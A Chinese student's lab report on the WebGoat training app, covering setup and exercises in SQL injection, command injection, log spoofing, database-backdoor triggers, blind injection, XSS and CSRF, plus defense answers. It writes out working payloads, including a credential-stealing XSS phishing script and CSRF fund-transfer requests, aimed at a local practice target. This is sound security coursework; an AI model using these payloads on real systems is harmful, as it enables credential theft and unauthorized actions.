2019-2020-2 网络对抗技术 20175311胡济栋 Exp9 Web安全基础

2019-2020-2 网络对抗技术 20175311胡济栋 Exp9 Web安全基础

目录

  • 一、实验介绍与问题回答
  • 二、实验内容
    • 1.WebGoat安装
    • 2.SQL注入攻击:命令注入、数字型注入、日志欺骗、SQL注入、字符串型注入、数据库后门、数字型盲注入、字符串型盲注入
    • 3.XSS攻击:XSS钓鱼、XSS存储攻击、XSS反射攻击
    • 4.CSRF攻击:跨站请求伪造、绕过CSRF确认
  • 三、实验中遇到的问题
  • 四、实验感想

一、实验介绍与问题回答

1.实验介绍

  • 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目。包括(SQL,XSS,CSRF)

2.问题问答

问题一:SQL注入攻击原理,如何防御?

  • SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
  • 具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

具体防御方法有如下几种:

  • 1.定制黑名单:将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。
  • 2.限制查询长度:由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。
  • 3.限制查询类型:限制用户请求内容中每个字段的类型,并在用户提交请求的时候进行检查,凡不符合该类型的提交就认为是非法请求。
  • 4.白名单法:该方法只对部分程序有效,对一些请求内容相对固定的程序,可以制定请求内容的白名单,如:某程序接受的请求只有数字,且数字为1至100,这样可以检查程序接受的请求内容是否匹配,如果不匹配,则认为是非法请求。
  • 5.设置数据库权限:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
  • 6.限制目录权限:WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。

问题二:XSS攻击的原理,如何防御?

  • XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
  • XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的XSS攻击。

问题三:CSRF攻击的原理,如何防御?

  • CSRF攻击:是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,攻击者盗用了你的身份,以你的名义发送恶意请求。造成的问题包括:个人隐私泄露以及财产安全。
  • 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码。

主要防御手段有以下几种:

  • 验证请求中的Token:token可以在用户登录之后放于session中,然后每次请求都从session中拿出,与请求中的token相比。
  • 验证 Referer:如果黑客使用的是CSRS攻击,他只能在自己网站来实施CSRS攻击,那么他发出的请求中referer就会指向黑客自己的网站,那么服务器就会拒绝访问。服务器只需要在每个动账请求中验证referer,如果指向的是以bank.example域名开发的地址,那么就代表是合法请求,反之,就可能是黑客的CSRS攻击,服务器拒绝该请求。

二、实验步骤

1.WebGoat安装

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。

  • 首先需要下载更新jdk,如果不下载打开WebGoat的效果是这样的,菜单栏里没有选项

  • WebGoat需要Java SE8的支持,因此可以在官网下载jdk-8u251-linux-x64.tar.gz,我这里使用的是同学的jdk。

  • 建立目录,将下载的jdk复制过去并解压,我这里用的jdk是8u181版本的,依次运行以下代码

sudo mkdir -p /usr/local/java
sudo cp jdk-8u181-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u181-linux-x64.tar.gz
  • 配置相关环境变量sudo vim /etc/profile,将下面代码复制进末尾
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_181
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

  • 通知系统java位置,依次运行下面每一条代码
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_181/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_181/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_181/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_181/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_181/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_181/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_181/bin/javaws
  • 重新载入profilesource /etc/profile java -version

  • 可以看到已经安装完成

  • https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载webgoat-container-7.0.1-war-exec.jar,放到kali中。

  • 在命令行输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,等待一小会后出现如下提示则运行成功

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

  • 使用页面下端任意一个账号密码进行登录,可以看到如下页面:

  • 接下来就是在左侧选择各种选项进行相应的测试。

2.SQL注入攻击

2.1 命令注入(Command Injection)

  • 命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
  • 左侧课程栏选中Injection Flaws -> Command Injection,在网页中间的下拉框处右键选择Inspect Element
  • 之后可以在右侧对网页源代码进行修改,找到名字为HelpFile的select元素,在第一项内容的后面添加"& netstat -an & ipconfig",修改后再次点击下拉框旁的View(框中默认选项为我们修改的第一项)
  • 可以看到具体端口开放情况,攻击成功~

2.2 数字型SQL注入(Numeric SQL Injection)

  • 原理:利用SQL语句的特点,注入数字型数据,使系统执行恶意代码
  • 目标:对SQL语句注入特征字符,组合形成新的SQL语句,以此来查询所有城市的天气情况。
  • 左侧课程栏选中Injection Flaws -> Numeric SQL Injection,点击Go!按钮,可查询Columbia的天气情况。现在要设法改变网页源码,使得在Columbia选项下可以查询到源码中所有城市的天气情况。
  • 在网页中间的下拉框处右键选择Inspect Element,之后可以在右侧对网页源代码进行修改,找到名字为station的select元素,在第一项101后面添加变成value="101 or 1=1 ",修改后点击Go!
  • 绿色小勾代表攻击成功,最后也确实也查询到了所有城市的天气情况。

2.3 日志欺骗(Log Spoofing)

  • 原理:在系统日志中抹除黑客访问的记录,混淆安全软件视听。目标:使得日志中仅有用户名为admin的用户成功登录。
  • 左侧课程栏选中Injection Flaws -> Log Spoofing,在User Name文本框中填写guest%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%oa是换行符,可以让注入信息转行显示。
  • 点击登录后,可以看到我们注入的语句在第二行显示出来了。

2.4 字符串型注入(String SQL Injection)

  • 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码。目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
  • 左侧课程栏选中Injection Flaws -> String SQL Injection,输入Smith可查询Smith的信用卡信息。现在要设法使得可以查询源码中所有用户的信用卡信息。
  • User Name文本框中填写Smith' or 1=1--可以看到下面那行SQL语句,显然'把前面姓这一条件提前终止,插入了永真式1=1,--注释了后面的代码
  • 可以看到绿色小勾,攻击成功!

2.5 LAB: SQL Injection

  • 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码。目标:通过注入字符串绕过认证
  • 左侧课程栏选中Injection Flaws -> LAB: SQL Injection,密码框中输入' or 1=1 --尝试绕过认证进行登录操作,结果提示登录失败。
  • 我们输入的字符串长度应该是11位,框中只显示了7位,我推测是源码设置了密码的长度,所以我们接下来改一下
  • 在密码文本框右键选择Inspect Element,将maxlength改成20
  • 重新输入' or 1=1 --尝试绕过认证进行登录操作,登录成功!

2.6 数据库后门(Database Backdoors)

  • 原理:利用数据库中的触发器,使用INSERT语句来使系统执行恶意代码。目标:通过注入字符串绕过认证
  • 左侧课程栏选中Injection Flaws -> Database Backdoors,文本框中输入101可查询该用户的相关信息。接下来我们尝试用数据库后面对其进行攻击。
  • 输入语句101; update employee set salary=666666成功将该用户的工资变成666666,攻击成功!
  • 还可以输入101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20175311@qq.com' WHERE userid = NEW.userid,这个设置可以使表中添加新用户时其邮箱为我设置的假邮箱。

2.7 数字型盲注入(Blind Numeric SQL Injection)

  • 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
  • 目标:找到 pins 表中 cc_number 字段值为 1111222233334444的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
  • 读取英文信息我们可以知道,下面的表单允许用户输入一个帐号,并确定它是否有效。使用此表单开发一个真/假测试,检查数据库中的其他条目。
  • 输入101 AND 1=1进行一个查询测试,两个条件均有效,所以返回当前账户数字有效。
  • 输入101 AND 1=2,因为1不等于2,条件不成立,所以返回账号数字无效。
  • 下面的语句可以告诉我们PIN数值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );如果页面提示帐号有效,说明PIN>10000 否则 PIN<=10000
  • 输入以下语句:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );,得到结果为无效,判断pin值是小于5000的。
  • 后续使用二分法缩小判断范围,可以最终判断出PIN数值大小。
  • 经过测试,此语句返回账号数字有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );查询框中输入2364并提交,结果如下:

2.8 字符串型盲注入(Blind String SQL Injection)

  • 原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
  • 目标:找到在表中字段cc_number值为4321432143214321的记录中PIN字段的数值。字段的类型是varchar,它是一个字符串。
  • 读取英文信息我们可以知道,下面的表单允许用户输入一个帐号,并确定它是否有效。使用此表单开发一个真/假测试,检查数据库中的其他条目。
  • 自己可以用101 AND 1=1 101 AND 1=2测试返回信息的有效、无效情况,和数字型盲注入一样,我这里不赘述了。
  • 与数字型盲注入类似,可以使用语句101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'O' );判断PIN字段数值的第一个字母其ASCII码值是否比”O“小。利用二分法进行测试,最终锁定PIN字段的值为Jill

3.XSS攻击

  • XSS攻击:通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

3.1 跨站脚本钓鱼攻击(Phishing with XSS)

  • 原理:在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。目标:将html插入到请求凭据的位置,添加javascript来实际收集凭证,将凭证发布到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
  • 在搜索框输入如下代码,页面增加一个表单
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

  • 在下面弹出的选框中输入账号密码,并且点击login,可以看到弹出了用户刚刚输入的账号密码信息

3.2 存储型XSS攻击(Stored XSS Attacks)

  • 原理:事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
  • Title文本框输入任意信息 ,在Message文本框中输入<script>alert('You've been attacked!')</script>,点击提交后,点击创建的帖子,会弹出一个对话框,说明攻击成功!

3.3 反射型XSS攻击(Reflected XSS Attacks)

  • 原理:通过使受害者执行攻击者的脚本,使攻击者获取受害者的cookie等敏感数据,进而可以窃取受害者的临时身份,进行一系列操作。目标:使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件发送,或者通过其他方式让受害者点击它。
  • 序列号文本框中输入<script>alert('You've been attacked!'),点击购买按钮,会弹出一个对话框,说明攻击成功!

4.CSRF攻击

4.1 Cross Site Request Forgery(跨站请求伪造)

  • 原理:攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作。目标:向新闻组发送电子邮件。电子邮件包含一个图片,其URL指向一个恶意请求。
  • Cross-Site Scripting(XSS) -> Cross Site Request Forgery(CSRF)
  • title栏中随便输入,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=328&menu=900&transferFunds=5000" width="1" height="1" />以图片形式将URL放入Message框中,用户点击图片就会触发CSRF事件,点击Submit提交。

4.2 CSRF Prompt By-Pass

  • 原理: 跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
  • 查看页面右侧的scr和menu值分别为322和900,titile框中输入学号,message框中输入代码:
<iframe src="attack?Screen=322&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=322&menu=900&transferFunds=CONFIRM"> </iframe>


三、实验中遇到的问题

  • 本次实验中遇到最大的问题就是刚刚开始Webgoat菜单栏没有选项,经过寻找同学博客发现了解决办法,是我的jdk版本不对。具体操作过程如下:
  • 首先需要下载更新jdk,如果不下载打开WebGoat的效果是这样的,菜单栏里没有选项
  • WebGoat需要Java SE8的支持,因此可以在官网下载jdk-8u251-linux-x64.tar.gz,我这里使用的是同学的jdk。
  • 建立目录,将下载的jdk复制过去并解压,我这里用的jdk是8u181版本的,依次运行以下代码
sudo mkdir -p /usr/local/java
sudo cp jdk-8u181-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u181-linux-x64.tar.gz
  • 配置相关环境变量sudo vim /etc/profile,将下面代码复制进末尾
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_181
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

  • 通知系统java位置,依次运行下面每一条代码
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_181/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_181/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_181/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_181/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_181/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_181/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_181/bin/javaws
  • 重新载入profilesource /etc/profile java -version
  • 可以看到已经安装完成

四、实验感想

  • 这是网络安全对抗技术的第九次实验,也是最后一次实验,个人认为这次实验很有意思,我们通过在WebGoat网站上对网站的各种配置进行了真实的操作攻击,这是我们平时不可能做到的事情,通过实验也学习到了各种各样五花八门的攻击方法与技巧。希望自己在今后的学习中能够融会贯通、学好用好这些在课程教学内容中使用到的技巧方法,好好加油。Ending~
posted on 2020-05-25 17:40  20175311胡济栋  阅读(221)  评论(0编辑  收藏  举报